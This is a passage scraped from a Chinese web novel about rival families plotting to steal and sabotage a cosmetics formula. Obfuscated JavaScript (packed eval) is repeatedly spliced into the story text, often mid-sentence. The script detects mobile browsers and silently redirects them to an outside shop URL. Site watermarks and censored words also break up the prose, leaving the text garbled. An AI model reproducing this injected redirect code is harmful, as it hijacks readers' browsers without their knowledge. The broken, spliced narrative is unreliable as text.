从京市到港市,她一路奔波,又强行动用内力救人,本就亏损的身体更是雪上加霜。如果不能尽快得到“鸾凤佩”的灵气温养,别说腹中胎儿,就连她自己的身体都可能留下不可逆的损伤。 他正想开口说些什么,哪怕用更强硬的手段去“借”玉佩,床上的白凝凝却忽然动了一下,缓缓睁开了眼睛。她显然是刚刚醒来,听到了他们谈话的后半段。 “清寒……”她虚弱地开口,声音不大,却让房间里所有人都安静了下来。 傅清寒立刻俯身,握住她的手,声音里是压抑不住的担忧:“醒了?有没有哪里不舒服?” “我没事。”白凝凝对他安抚地笑了笑,然后挣扎着想坐起来。傅清寒连忙在她身后垫上枕头。 她看了一眼陈慕白和赵承熙,然后将目光转向傅清寒,那双清澈的眸子里,没有了之前的虚弱,反而闪烁着一种通透的光。 “你们说的,我都听到了。”她轻声说道,“霍思晴现在就像一只受了惊的刺猬,我们越是急着靠近,她身上的刺就竖得越厉害。所以,我们确实要等。” 傅清寒想都没想就脱口而出,声音里是罕见的失态和急切,“可你的身体……” “我知道。”白凝凝反手握住他那因为紧张而冰凉的大手,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771259|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神温柔而又坚定,“清寒,你忘了我是谁了?**的就是治病救人行当。” 她的嘴角,勾起一抹自信的、甚至带了点狡黠的浅笑,提出了一个让所有人都意想不到的“两全之策”。 “我们等,但不是干等。” “第一,”她看向陈慕白,“慕白哥,你明天就以‘凝悦’官方的名义,向霍家发出一个‘停战协议’。告诉他们,出于人道主义关怀,在霍老爷子病愈之前,‘凝悦’将暂停在港市所有商业扩张活动。我们不趁人 之危。 陈慕白眼睛一亮,瞬间明白了“以退为进这一招的妙处。既展现了“凝悦的大度风范,与赵宇轩的落井下石形成鲜明对比,又能最大限度地消除霍思晴的敌意。 “第二,她又看向苏文赫,“你明天替我去一趟霍家。告诉霍思晴,老爷子的病虽然棘手,但我会尽全力医治。从明天开始,我每天上午会亲自登门,为老爷子施针一次,用金针渡穴之法,为他续命吊气。这既是还她昨天在医院没有为难我们的一个人情,也是给她吃一颗定心丸,让她知道,我们没有放弃。 傅清寒的眉头立刻皱了起来:“你每天都去?你的身体怎么吃得消! “我自有分寸。白凝凝安抚地拍了拍他的手,然后说出了整个计划最核心的一步,她的目光里闪烁着慧黠的光芒。 “而这,就是我们的机会。 她看向众人,缓缓说道:“我去施针,自然要对症下药。霍家是百年医药世家,药库里奇珍异草无数。我会‘无意中’发现,他们库中收藏的某些上了年份的古玉,竟然蕴含着一丝微弱的‘灵气’,对老爷子的病情有奇效。 “我会顺势提出,在为老爷子施针时,需要借用这些古玉作为‘阵眼’或‘媒介’,来放大针法的效果。霍思晴为了救爷爷,自然不会拒绝。 “而那块‘鸾凤佩’,作为霍家所有藏品中灵气最盛的至宝,她必然会亲自拿出来,让我使用。 傅清寒瞬间明白了!他的眼睛猛地亮了起来! 第104章 楚小小:我有一计 “你的意思是……” “没错。”白凝凝的眼中闪过一丝狡黠,“我确实需要它的灵气来调养身体。虽然每天只是施针时借用一个小时,比不上贴身佩戴的效果,但也足以让我和孩子安然无恙地度过这段时间。这叫‘一石二鸟’,既治了老爷子的病,也治了我自己的‘病’。” “最重要的是,”她最后总结道,眼中满是运筹帷幄的,“整个过程,我们从未主动提过‘鸾凤佩’三个字。是她为了救爷爷,自己心甘情愿地一次又一次地将玉佩捧到我面前,求着我用。在这一次次的‘借用’中,她的戒心会逐渐变弱,而我们之间的信任,则会慢慢建立。等到时机成熟再谈,一切就都水到渠成了。” 此言一出,整个房间陷入了寂静。 陈慕白、苏文赫,看着眼前这个虚弱到脸色苍白,却又有着七窍玲珑心的女人,一时间无言。 赵承熙看着她,心中那丝因她为自己受伤而产生的愧疚,此刻已经彻底化为了深深的敬畏和叹服。他终于明白,为什么像傅清寒这样的男人,会被她吃得死死的。 傅清寒则是在短暂的震惊后,心中涌起了无与伦比的骄傲和……一丝哭笑不得的无奈。 “你呀……”他伸手在她的小鼻子上刮了一下,“还是这么淘气,有这样的计划怎么不早说,害得我白担心。以后不许了。另外,从明天开始我们就去霍家,你和孩子要平平安安的。” —— 与此同时,赵家别墅里。 梁美玲也第一时间收到了霍老爷子病危住院的消息。 “真是天助我也!”她兴奋地在房间里来回踱步,脸上是抑制不住的狂喜,“霍家现在内外交困,老爷子又倒下了,那个姓霍的小丫头片子肯定已经六神无主!这正是我们‘英雄救美’的最好时机!” 赵宇轩也摩拳擦掌,迫不及待地说道:“妈,那我们现在就带上医生和钱过去?还不得把霍思晴感动得投怀送抱!昨天对我爱答不理,今天让她高攀不起!” “蠢货!现在过去有什么用?”梁美玲冷哼一声,眼中闪烁着更恶毒的算计,“救人?霍家请的医生都没用,我们去还不如自取其辱!我们要做的,不是去救霍家的‘命’,而是去救霍家的‘生意’!” 她看着儿子,一字 一句地说出了自己的毒计: “我打听过了,下个月,就是港市一年一度的产品展销会。霍家每年都会在这上面推出他们最重要的新品。而今年,他们最大的对手,就是‘凝悦’! “你想想,如果我们在展销会上,能拿出一款效果比‘凝悦’更好,或者和它不相上下的产品,帮霍家打一个漂亮的翻身仗,一举击溃‘凝悦’。那对霍思晴来说,意味着什么? 赵宇轩的眼睛瞬间亮了!他明白了!这比单纯地去医院探病、假惺惺地嘘寒问暖,更能体现他的“价值 但他随即又皱起了眉,有些困惑地说道:“可是妈,这个主意是不错。但我们赵家做的是航运和地产,跟医药生意八竿子打不着。我们怎么帮霍家改进配方?总不能空口说白话,去跟霍思晴画大饼吧?她那么精明,不会信的。 就在这时,一个轻柔又带着一丝讨好意味的声音,从门口传来。 “赵妈妈,宇轩哥,或许……我有个不成熟的想法。 两人回头,只见楚小小挺着**个月大的肚子,在女仆的搀扶下,小心翼翼地走了进来。她今天的脸色看起来比平时更加苍白,嘴唇也毫无血色,一副惹人怜惜的模样,但那双眼睛里,却闪着精明光芒。 自从上次在下午茶会被“未来少夫人李小欣当众打脸后,楚小小就彻底收起了自己所有的锋芒。她每天在别墅里安分守己,对梁美玲言听计从,对赵宇轩嘘寒问暖,将一个“乖巧懂事的生育工具扮演得淋漓尽致。 她知道,在孩子落地之前,她必须隐忍,必须找到一个能让自己“价值连城的机会。 而现在,这个机会来了。 “哦?你有什么想法?梁美玲瞥了她一眼,语气里带着一丝居高临下的审视。 楚小小没有在意她的态度,只是柔柔地走到赵宇轩身边,用一种极其崇拜的眼神看着他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771260|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻声细语地说道:“宇轩哥,你说的对,我们确实不懂医药。所以,我们为什么一定要自己去‘研发’呢?我们只需要……让‘凝悦’的配方,变成我们的配方,不就行了吗? “你说得轻巧!赵宇轩有些不耐烦地皱眉,“‘凝悦’的配方是他们的核心机密,怎么可能轻易 拿到手?” “别人或许拿不到”楚小小的嘴角勾起一抹笑“但我或许有办法。” 她的声音压得更低像是在分享一个不为人知的秘密:“因为我是从傅家出来的的。我比任何人都了解白凝凝和她身边的那群人。我知道他们每个人的软肋在哪里。” “现在白凝凝、傅清寒、陈慕白这三个最核心的人物都来了港市。京市那边就只剩下一群不足为虑的乌合之众。一个只懂卖衣服的秦悦和一个只懂搞技术的书呆子陆泽远。” “最好的办法就是釜底抽薪!” “而我”楚小小的眼中满是志得意满和怨毒“恰好知道两个好用的棋子。” “谁?”赵宇轩急切地追问。 “一个是林家大小姐林晚晴。另一个是陈家大小姐陈瑶。”楚小小轻轻地吐出了这两个名字。 她将林晚晴和陈瑶如何被白凝凝“设计”一个被送进看守所一个被流放到军马场的“悲惨遭遇”添油加醋地描述了一遍。 “……林晚晴恨白凝凝入骨而陈瑶又因为暗恋陆泽远嫉妒白凝凝。林晚晴最擅长的就是煽动人心。只要我们能把她从疗养院里‘请’出来给她足够的好处和支持她一定有办法说服陈瑶那个蠢货去陆泽远的实验室里拿到我们想要的东西!” 梁美玲看着眼前这个挺着大肚子却心思缜密的女人眼中第一次闪过了一丝真正的欣赏。但欣赏之余更多的却是试探。她端起茶杯轻轻吹了吹 说的域名caixs.com?(请来才小 说 看最新章节 完整章节)状似无意地问道: “这个计划倒是不错。不过小小你好像对宇轩想娶霍小姐这件事一点都不介意?” 第105章 苟富贵勿相忘 来了! 楚小小心头一凛,知道这是梁美玲在考她。她立刻低下头,脸上露出一个柔顺又带着几分委屈的笑容,那恰到好处的表情转换,仿佛一个真心为丈夫前途着想、却又不得不压抑自己小情绪的贤惠妻子。 “妈,您说的哪里话。”她抬起头,眼眶微微泛红,声音却异常诚恳,“我当然……介意。哪个女人愿意和别人分享自己的丈夫呢?” 她顿了顿,话锋一转,语气变得“顾全大局”起来: “可是,我更知道,我不能那么自私。我打听过了,霍小姐是港市有名的铁娘子,眼里不揉沙子。像她这样的女人,一般的恩惠是打动不了她的。宇轩哥如果能凭自己的本事,在事业上帮她打一个漂亮的翻身仗,那才是真正的征服。到时候,她自然会对宇轩哥另眼相看。” 她深吸一口气,将自己的“格局”展现得淋漓尽致: “只要霍小姐能进门,以她的家世和能力,将来一定会是宇轩哥事业上最大的助力。至于我……”她低下头,深情地抚摸着自己高高隆起的肚子,脸上露出柔顺的笑容,“我没什么大本事,我的任务,就是安安稳稳地把赵家的长孙生下来。只要我的儿子将来有出息,能和未来的少夫人和睦相处,我就心满意足了。” 这番话说得滴水不漏,既表达了自己“小女人”的嫉妒,又展现了自己“顾全大局”的胸襟,更是将自己定位成了一个“只求儿子好”的无私母亲。 梁美玲看着她这副“深明大义”的模样,心中最后一丝疑虑也打消了。她满意地笑了,觉得这个楚小小,虽然出身不行,但脑子够用,也够“安分”,是颗好用的棋子。 “好。”她当机立断,“这件事,就由你去办。你需要什么资源,直接跟我说。只要能拿到配方,就是大功一件。” 她看着楚小小的肚子,又补充了一句,像是在画一个巨大的饼:“小小,你要知道,妈一直都是把你当亲生女儿看的。只要你安安稳稳地生下赵家的长孙,再帮宇轩办好这件事,赵家绝不亏待你。” “谢谢妈!”楚小小立刻露出了感激涕零的表情,心中却是一片冷笑。 她知道,这是她翻身的第一步。她要用这次的“投名状”,向梁美玲证明自己的价值,从一个单纯的“生育工具” 变成一个真正能参与到家族权谋中的“核心人物”。 当天下午楚小小便以“想念京市的朋友”为由通过梁美玲安排的秘密渠道联系上了那个被她视为“棋子”的女人——林晚晴。 京市 这里绿树成荫鸟语花香每一栋白色的小楼都如同度假别墅般精致。然而这片看似宁静的世外桃源却被一道道冰冷的高墙和无处不在的监控探头与外界彻底隔绝。 林晚晴穿着一身质地柔软却款式单调的条纹病号服正坐在窗边冷冷地看着窗外那片被精心修剪过的草坪。 她已经在这里待了一个多月。 傅清寒的“特别关照”让林晚晴在看守所里的每一天都度日如年。 这位曾经连指甲断了都要掉眼泪的天之骄女被勒令和其他重刑犯一样每天进行高强度的劳动改造。住的是阴冷潮湿的大通铺吃的是难以下咽的馊饭菜。不过短短半个月她精心养护的皮肤就变得粗糙暗黄双手也磨出了厚厚的茧子。 林晚晴知道再这样下去不等刑期结束她自己就先疯了。 于是在一个深夜她用尽全身的力气将自己的头狠狠地撞向了冰冷的墙壁。 当她再次醒来时人已经躺在了精神疗养院那雪白柔软的病床上。 她成功了。 她用一场逼真的“癫狂自残”为自己换来了“因精神崩溃而保外就医”的结果。 虽然这里依旧是牢笼但比起看守所已是天堂。最重要的是在这里傅清寒那无处不在的“关照”终于鞭长莫及。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771261|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她忘不了舞会上那些嘲讽的嘴脸忘不了父亲那记响亮的耳光更忘不了白凝凝那张云淡风轻、却把自己坑害至此的脸! 就在她恨恨看着窗外时病房的门被推开了。 一名护士走了进来手里拿着一个听筒语气里带着公事公办的冷漠和一丝不易察觉的轻蔑。 “林小姐有你的电话。” 电话? 会是谁?自从撺掇陈瑶的事情被傅清寒知道林父不许任何人探视自己除了在刚进精神病院的时候见过一次母亲外再也没有任何人联系过她。 会是谁? 她接过听筒放到 耳边。 一个熟悉又让她有些意外的声音从电话那头传来带着一丝刻意的、讨好的热络: “晚晴姐是我小小啊。好久不见你……还好吗?” 楚小小? 无事不登三宝殿这个蠢女人和自己又没有什么交情主动联系自己绝不是简单的问候。 “我好不好不重要。”林晚晴的声音很平静甚至带着一丝看破红尘的淡然“倒是你现在怎么样?白凝凝和你生活在一个屋檐下没少挤兑你吧?” 楚小小一愣随即明白过来林晚晴现在还不知道自己已经不在傅家了便把后来的事简单说了一遍“我现在在港市跟着宇轩哥呢。” 港岛赵家?赵宇轩? 林晚晴听过赵家的名声毕竟是港岛排的上号的大家族这个楚小小走了什么狗屎运在傅家混不下去还能攀上豪门?“是吗?那真是……太恭喜你了。不像我 这番话立刻给了楚小小台阶:“晚晴姐你别这么说!苟富贵勿相忘我这不是一站稳脚跟就立刻想到你了嘛。” 林晚晴在心里冷笑一声这话傻子才信但楚小小下面的话立刻引起她的注意。 “我知道你受了委屈这一切都是那个白凝凝害的!现在我们有一个绝佳的机会可以把她彻底踩在脚底下!” 第106章 士别三日当刮目相待 “哦?”林晚晴的语气里,终于带上了一丝兴趣。 楚小小立刻将赵家想对付“凝悦”、想拿到核心配方的计划,说了出来。 “……所以,晚晴姐,现在只有你能帮我们了!你最了解陈瑶那个蠢货,只有你才能说服她,为我们所用!只要拿到配方,帮霍家打败了‘凝悦’,宇轩哥就能顺利和霍家联姻,我在赵家的地位也稳了!到时候,我就求宇轩哥和夫人,把你从这个鬼地方弄出来,接你到港市来享福!这里比内地强多了!” 电话那头,林晚晴沉默了。 陈瑶那个蠢货?利用她去偷配方?这个计划,够蠢。 不过要是傅清寒和白凝凝都不在,也许很真的能行。 而且现在她也确实没得选,不然就得在这个鬼地方呆一辈子! **,单车变摩托! 这是她目前唯一的,脱离这个鬼地方,重新获得自由和权力的机会! 她必须抓住! “小小,”林晚晴终于开口了,她的声音里带着沙哑,像是被姐妹情深打动,“你放心。为了你,也为了我自己,这件事,我一定帮你办成。” 她顿了顿,语气变得坚定而又满是算计: “不过,你得先让赵家,把我弄出去。我需要自由,哪怕只是暂时的。只有见到了陈瑶,我才有把握说服她。” “没问题!晚晴姐!你等我消息!”楚小小立刻满口答应。 挂了电话,林晚晴缓缓地将听筒放回原处。她看着窗外,那双死寂的眸子里,重新燃起了复仇的火焰。 白凝凝,你的好日子,到头了。 —— 两天后,在赵家雄厚财力的运作下,林晚晴以“病情稳定,需进行社会化康复治疗”为由,获得了一周的“外出许可”。 她换上了最新款的套装,重新描画了精致的妆容,坐上了那辆前来接她的、挂着港岛牌照的小轿车。看着疗养院那扇缓缓关闭的铁门,她贪婪地呼吸着自由的空气。 她要做的第一件事,就是约见陈瑶。 地点选在了京市一家极其私密的高级会所。 包间里,林晚晴提着从港岛空运来的顶级燕窝和珍珠粉,一脸憔悴和心疼地拉着陈瑶的手。 “瑶瑶,我的好妹 妹,姐姐在里面……最想念的人就是你。我听说你被送到军马场去了,心里别提多难受了,都是姐姐不好,连累了你。”她眼眶泛红,演得情真意切。 若是换做以前,陈瑶恐怕早就被感动得一塌糊涂。 但此刻,经历了军马场的“改造”,又被哥哥亲自点拨过的她,看着林晚晴那虚伪的表演,心中只觉得可笑。 这不就是哥哥口中那个,嘴上喊着“妹妹”,心里却巴不得看她家宅不宁的人吗? 她没有当场戳穿,而是顺着林晚晴的话,脸上挤出义愤填膺的表情:“晚晴姐,你别这么说!这不怪你!都是白凝凝那个狐狸精的错!她不仅抢走了陆泽远哥哥,还害得你被关起来,害得我被爷爷罚!我恨死她了!” “我就知道,瑶瑶你最懂我!”林晚晴见她还是满腹的怨气,心中大喜,立刻趁热打铁。 她凑到陈瑶耳边,将那个“偷配方”的计划,包装成了为你好、帮你夺回陆泽远的用心良苦,“瑶瑶……你想想,只要我们拿到了配方,在展销会上让‘凝悦’一败涂地,白凝凝就会成为笑柄!到时候,陆泽远自然会看清她的真面目,还会搭理她吗?到时候他就知道谁才是真正对他好的人了!姐姐为你的幸福铺路啊!” 陈瑶听着,心里冷笑,为我?还不是为了你自己?又想拿我当枪使? 你当我是傻子不成?那我就陪你玩玩! 她猛地一拍桌子,仿佛已经下了天大的决心:“晚晴姐,你说得对!为了陆泽远哥哥,这件事,**了!” 她那副被愤怒和嫉妒冲昏了头脑的模样,让林晚晴心中充满了智商上的优越感。 蠢货,真是个十足的蠢货,还是这么好骗。陈家怎么就出了个这样一个智商堪忧的**! 等聚会结束后,陈瑶坐上了回家的车。车门关上的瞬间,她脸上所有冲动和愤怒都消失得无影无踪,取而代之的是冷静与讥讽。 她到家,找出一部加密的卫星电话,拨通了那个远在港市的号码。 电话很快接通,那头传来哥哥陈慕白温润的声音:“瑶瑶?怎么想起来给哥哥打电话了?” 陈瑶深吸一口气,将刚才发生的一切,一五一十地,全部汇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771262|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报给了哥哥。 “哥,林晚晴找我了。她们想让我去…… 偷配方。” 电话那头,沉默了片刻。 随即,传来陈慕白一声带着欣慰的轻笑。 “……瑶瑶,你终于长大了。” “哼……你说什么呢…我本来就是大人。”猛然听到哥哥这么说,陈瑶倒是有点不好意思了, 电话那头,陈慕白的声音平静而沉稳,带着一种能让人瞬间安心的力量:“瑶瑶,你做得很好。现在,你只需要继续‘演’下去。假装你已经被林晚晴彻底说服,对她言听计从。” “可是哥,我……”陈瑶的声音里还是带着一丝紧张,“我怕我演不好,被她看出来怎么办?” “没关系,”陈慕白的声音里带上了一丝笑意,“你只需要把你以前那副骄纵任性的样子拿出来就行了。本色出演,懂吗?” 陈瑶:“……”这话怎么听着那么像在骂人呢? “你听着,”陈慕白收起玩笑,语气变得严肃起来,“我会立刻将这件事,告知凝凝和清寒。你接下来的任务,就是配合林晚晴的计划,当好我们安插在她身边的‘卧底’。记住,你的安全是第一位的,不要做任何超出我们计划范围的事。” “哥,可是……林晚晴让我去偷配方,我总不能真的去偷吧?要不……让凝凝姐或者陆哥哥随便弄一个假的给她?”她试探性地问道,“不能让林晚晴这个蛇蝎心肠的女人得逞!” 电话那头,陈慕白发出了一声轻笑,笑声里带着些许对妹妹“天真”的无奈。“瑶瑶,你觉得,像林晚晴和她背后的赵家那种人,会看不出一份假配方吗?他们手里肯定有我们的产品,只要拿去化验成分,任何拙劣的谎言都会被立刻戳穿。到时候,不仅你的‘卧底’身份会暴露,我们也会彻底失去这次反击的先机。” “那……那怎么办?”陈瑶急了。 说的域名caixs?(请来才小 说 看最新章节 完整章节) “别急,”陈慕白缓缓道,“我们来想办法。你只需要稳住林晚晴,告诉她,陆泽远的实验室安保很严,你需要一点时间来找机会。剩下的事,交给我们。” 第107章 1+1等于几? 港市,半山夜色深沉,安全屋别墅却灯火通明。 几人围坐在茶几旁,气氛有些凝重。 刚刚挂断了妹妹电话的陈慕白,推了推鼻梁上的金丝眼镜,将京市那边最新的变故,向众人通报了一遍。 “……情况就是这样。赵宇轩想在霍家面前露脸,目标是下一次的展销会。”他放下电话,眉头微蹙,看着众人分析道,“林晚晴被赵家捞了出来,现在成了他们在京市的棋子。她们的目标很明确,就是想利用瑶瑶,从陆泽远的实验室里拿到‘凝悦’的核心配方。” 他看向傅清寒和白凝凝:“我让瑶瑶先稳住林晚晴。但是配方的事比较麻烦。如果给一份假配方,太容易被识破。林晚晴和她背后的赵家不是傻子,他们手里有我们的成品,只要拿去化验,任何拙劣的谎言都会被立刻戳穿。到时候,瑶瑶的‘卧底’身份就会暴露,我们也会失去这次反击的先机。” “可要是给一份真配方,”一旁的苏文赫也沉声接口,“让他们掌握了核心技术,又无异于自毁长城。现在确实是进退两难,既不能真给,又不能不给,给假的又会被看出来。” 房间里陷入了沉寂。 白凝凝靠在沙发上,手指轻轻地抚摸着自己隆起的小腹,她没有说话,只是安静地听着。 所有人的目光,最后都落在了那个从始至终都一言不发的男人——傅清寒身上。 他坐在单人沙发里,手指有节奏地敲击着扶手,那双深邃的黑眸,像一潭古井,波澜不惊,仿佛外界的纷纷扰扰,都无法撼动他分毫。 许久,他敲击的动作,停了。 他抬起眼,目光扫过众人,最后落在了眉头紧锁的陈慕白脸上。 他缓缓开口,声音不大,却像一颗投入湖心的石子,掷地有声。 “慕白说得对,配方真假一验便知。” 傅清寒的嘴角,勾起一抹极淡的弧度。他站起身,走到窗边,看着窗外港市那璀璨的夜景。 “对方不是傻子,他们有专家,有设备,配方的真假瞒不住的。” “所以想解决这件事,”他转过身,看着众人,“我们要准备一份‘画龙不点睛’的配方。” “画龙不点睛?”什么意思?众人一时间有些茫然,凝凝也抬头看他 。 “凝凝”他看向自己的妻子眼中带着一丝询问和确认“我们的修复膏是不是有一种最核心的、能激活所有药材活性的成分?” 白凝凝立刻点头:“对。那是我和陆大哥一起研制的一种‘萃取液’。没有它其他的药材虽然也有效果但顶多只能发挥出三成的功效而且药性很不稳定很容易失活。” “很好。”傅清寒点了点头继续说道“那如果我们不把这种‘萃取液’加在药膏里呢?” “不加在药膏里?”凝凝和陈慕白都立刻意识到了什么互相对视一眼。 “我们将计就计。让陈瑶‘偷’走一份没有萃取液的真实配方。工艺、流程、成分……任何专家来检验都和我们的样品一模一样。” “但其实真正的‘点睛之笔’萃取液不在料体的配方里而是包装瓶上。” “我们对生产线进行微调。将那最关键的‘萃取液’以一种特殊的方式涂抹在白瓷瓶的内壁。当药膏被灌入瓶中后 “赵家拿走的是真的配方是一条无目之龙。最关键的‘点睛之笔’牢牢地掌握在我们自己手里。他们永远也想不到他们拿着一份‘真配方’却只能做出一个效果平庸的‘仿品’。!” 话音一落房间里一片寂静。 这确是个办法。 突然赵承熙提出了一个最关键的问题:“可就算他们偷走的配方做出的产品没用修复膏这种东西效果需要长期使用才能对比出来最少也要一两天。在展销会现场那短短几分钟的演示里根本看不出差别啊!” 陈慕白也立刻反应过来补充道:“是啊当时看不出差别就不利于我们现场反击。而且赵家财大气粗他们肯定会在包装和宣传上大肆投入如果我们的产品在效果上不能形成‘秒杀’级别的优势很容易就会被他们用钱砸出的声势盖过去甚至会被人误以为我们才是跟风的仿冒者。” 就在所有人都觉得这事儿成了个死局的时候傅清寒脸上却没有丝毫意外。他胸有成竹地笑了笑仿佛一切都在他的预料之中。 他坐在单人沙发里那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771263|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双深邃的眼睛里闪着 兴奋的光,像是狼盯上猎物。 “谁说,要等长期才能看出效果?”他缓缓开口,声音不大,却像一颗炸雷在众人耳边响起,“不仅能看出来效果,而且还会有刺痛红肿的效果。” “刺痛红肿?!”苏文赫和陈慕白都惊了。 “清寒,这怎么可能?”陈慕白皱眉道,“我们给的配方,就算缺少核心成分,也不可能有害啊。赵家不是傻子,他们肯定会做毒理测试的。” “对啊,”傅清寒点了点头,嘴角勾起一抹笑,“所以,**,我们当然不能给。但我们可以……让他们自己,把好东西,变成**。” 他看向自己的妻子:“凝凝,我问你,如果我让你设计一款全新的化妆水,它只有一个效果——当它碰到我们真正的‘凝悦’修复膏时,效果能立刻翻倍,变得更好用。” “但是,”他话锋关一转,声音变得冰冷,“当它碰到赵家那个只有配方、没有我们特殊瓶子的‘不点睛的仿品’时,就会立刻发生化学反应,不仅搓泥、浮粉,甚至还会让皮肤当场泛红、刺痛。你……做得到吗?” 白凝凝的眼睛瞬间就亮了!她秒懂了傅清寒的意思! 这简直要坑死赵家啊! 她立刻接过了话头,脸上浮现出兴奋的光芒:“我明白了!清寒,你的意思是,我们可以设计一种特殊的植物酶的成分!这种酶,在遇到我们瓶身涂层里的核心萃取液时,会产生催化作用,加速药性渗透,效果倍增!” 她站起身,一边踱步一边飞快地构思着,整个人的气场都变了:“但是!如果它遇到的只是普通的膏体,没有我们独有的萃取液作为‘稳定剂’,这种植物酶的弱酸性,反而会破坏膏体原本的乳化结构!导致水油分离,产生絮状物,也就是……搓泥!甚至因为酸碱度的瞬间失衡,对皮肤产生明显的刺痛和泛红!” “嘶——” 苏文赫和赵承熙倒吸一口凉气! 这招太狠了! 这已经不是简单的“没效果”了,这是当众“毁容”啊! 如果这样的话,那赵家就会在众目睽睽之下被钉死在耻辱柱上! 第108章 擎天之柱 陈慕白推了推眼镜,镜片后的目光里满是狂热的赞叹,他将整个计划的脉络梳理得清清楚楚: “第一步,我们让瑶瑶先‘历经艰险’地把那份‘画龙不点睛’的修复膏配方‘偷’出去。赵家拿到后,必然会去找全世界最好的实验室进行成分比对,结果会发现,和市面上流通的‘凝悦’正品膏体一模一样!他们会彻底相信,自己拿到了核心技术,然后就会像打了鸡血一样,投入血本去建厂、生产、宣传他们的产品!” “第二步,就是最关键的‘下饵’!”陈慕白的声音里带上了一丝兴奋,“我们掐准时间,就在港市展销会产品送审截止日的前一天,让瑶瑶再次十万火急地联系林晚晴!” 他模仿着陈瑶焦急的语气,惟妙惟肖地说道:“晚晴姐!不好了!我发现了一个天大的秘密!‘凝悦’这次送审的产品,不光有修复膏,还有一个叫‘灵露’的激活精华水!他们对外保密,是准备在展销会上当王炸用的!” “这个时间点,卡得死死的!”傅清寒接过话头,眼中闪烁着精光,“赵家在得知这个消息后,会立刻去组委会核实,发现我们确实备案了两款产品。这会让他们对这个‘秘密武器’的存在深信不疑!” “所以,他们会不惜一切代价,在展销会开始前,拿到‘灵露’的配方!” 白凝凝也笑着补充道:“没错!而且,当瑶瑶把‘灵露’的配方‘偷’出来给他们时,距离展销会开幕,可能就只剩下不到二十四小时了。这么短的时间,他们根本来不及进行复杂的长期稳定性测试和毒理实验。” 陈慕白扶了一下眼镜:“而且这个时候,他们自己仿制的面霜已经作为参展产品,提交上去并封存了!所以,他们唯一能做的、最快速的验证方法,就是立刻去市面上买一瓶我们真正的‘凝悦’修复膏正品,然后用我们给的‘灵露’配方,现场调配出样品,滴在正品膏体上进行试用!” “而这个实验的结果……”傅清寒的眼中闪过一丝嘲讽,“必然是让他们欣喜若狂的‘效果翻倍’!” “他们会亲眼见证‘神水’的神奇效果,会百分之百地相信,自己拿到了可以逆天改命的王炸!”苏文赫也激动地接话道,“他们会以为,只要在展销会上,把‘灵露’和他们的‘玉肌膏’结合,就能 复刻出这种奇迹! “没错!傅清寒的声音冷酷而又决断,“时间紧迫,规则限制,再加上‘成功实验’带来的巨大诱惑,会让他们丧失所有理智。他们不会去想为什么会这样,只会想方设法地,把这瓶‘神水’带进展销会现场。 “比如, 陈慕白闻言,忍不住笑出了声:“这个主意不错。不过,赵宇轩那个草包,脑子能转过这个弯吗?万一他想不到这么‘聪明’的办法,那我们的好戏岂不是唱不成了? 傅清寒闻言,冷峻的脸上也浮现出一丝戏谑的笑意。他伸出手,宠溺地捏了捏妻子的小脸,然后才不紧不慢地说道: “他想不到,我们可以‘帮’他想。 他看向陈慕白,那双深邃的黑眸里,闪烁着腹黑到极致的光芒。 “你告诉瑶瑶,当她把‘灵露’的配方交给林晚晴之后,一定要记得‘不经意’地提一嘴。 